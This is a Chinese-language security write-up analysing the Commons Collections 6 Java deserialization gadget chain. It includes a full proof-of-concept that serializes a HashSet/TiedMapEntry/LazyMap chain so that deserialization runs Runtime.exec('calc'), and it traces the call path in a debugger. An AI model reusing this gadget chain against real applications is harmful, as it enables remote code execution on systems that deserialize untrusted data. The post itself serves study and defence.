Java安全之Commons Collections6分析
0x00 前言
其實在分析的幾條鏈中都大致相同,都是基於前面一些鏈的變形,在本文的CC6鏈中,就和前面的有點小小的區別。在CC6鏈中也和CC5的利用鏈類似,但是CC6鏈中使用的是HashSet
去觸發LazyMap
的get方法。而在CC5中使用的是BadAttributeValueExpException
。
0x01 POC分析
這里還是去簡化一下POC代碼,因為ysoserial
做了很多優化和封裝。所以在第一次看該代碼的時候,雖然也能看懂,但是不太容易理清思路。
package com.test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,Testtransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
//通過反射覆蓋原本的iTransformers,防止序列化時在本地執行命令
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
objectOutputStream.writeObject(hashSet);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
objectInputStream.readObject();
}
}
以上這段代碼是從網上找來的POC,里面提取出來的重要的代碼。首先還是得來執行一遍,POC代碼是否能夠去正常運行。
能夠正常執行,后面就來分析一下POC的構造。前面的一段代碼和CC1一樣,就不做贅述了。
Map lazyMap=LazyMap.decorate(map,Testtransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
這段代碼也是在構造CC5鏈中出現的,將map
和LazyMap
,調用get方法就會調用transform
方法。而這里是再使用了TiedMapEntry
類去將LazyMap
實例化對象傳入進去。調用到TiedMapEntry
的getValue
就會在getValue
內部去調用get方法。
HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
//通過反射覆蓋原本的iTransformers,防止序列化時在本地執行命令
這一步里使用的是HashSet
來進行構造,將前面的TiedMapEntry
實例化對象添加進去。后面還調用了lazyMap.remove
方法將test1
給移除,這是因為在執行的時候如果沒使用lazyMap.remove
將test1
給移除掉將不會進入到該判斷語句里面去。
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);
上面這一段其實就為了防止在序列化的時候,在本地將構造好的命令給執行一遍。相當於
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers)
這一段代碼。
0x02 POC調試
在readObject
復寫點打個斷點進行調試,也就是Hashset
的readObject
。
在Hashset
的readObject
方法中,回去調用map
的put
方法。這里的map為Hashmap
的對象,所以這里調用的是Hashmap
的put
方法,跟進一下該方法。
而在這一步又會去調用hash
方法並且傳入key
作為參數。還需要再跟進一下hash
方法。
跟進到方法里面會發現,方法內部還會去調用key
的hashcode
,而這里的key
為TiedMapEntry
的實例化對象。調用的則是TiedMapEntry
的hashcode
。跟進一下hashcode
方法。
在此處就可以看到hashcode
還會去調用getValue
方法,下面的內容其實就和CC5的利用鏈一樣了。
來到getValue
看看
這里就會去調用this.map.get()
方法,this.map
是LazyMap
的實例化對象。使用的是下面這段POC代碼對this.map
進行賦值。
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
為了更清晰整一條利用鏈,再跟進一下LazyMap
的get方法。
這里在前面提到過,需要lazyMap.remove
方法移除前面填入的KEY
才能夠進行到該if判斷語句里面去執行transform
方法,否則就直接走的是else的方法體內容了。達不到所要的效果,利用鏈也沒法進行執行命令了。
其實到這一步已經很清晰了,下面的就不做分析了,前面的文章分析過很多回了。
利用鏈
HashSet.readObject->HashMap.put
->HashMap.hash->TiedMapEntry.hashCode
->TiedMapEntry.getValue->LazyMap.get
->ChainedTransformer.transform->InvokerTransformer.transform
->Runtime.exec
0x03 結尾
本篇文章其實也是只挑了一些重點去做分析,其他的都是地方,和前面的都一樣就沒必要再去分析一遍了。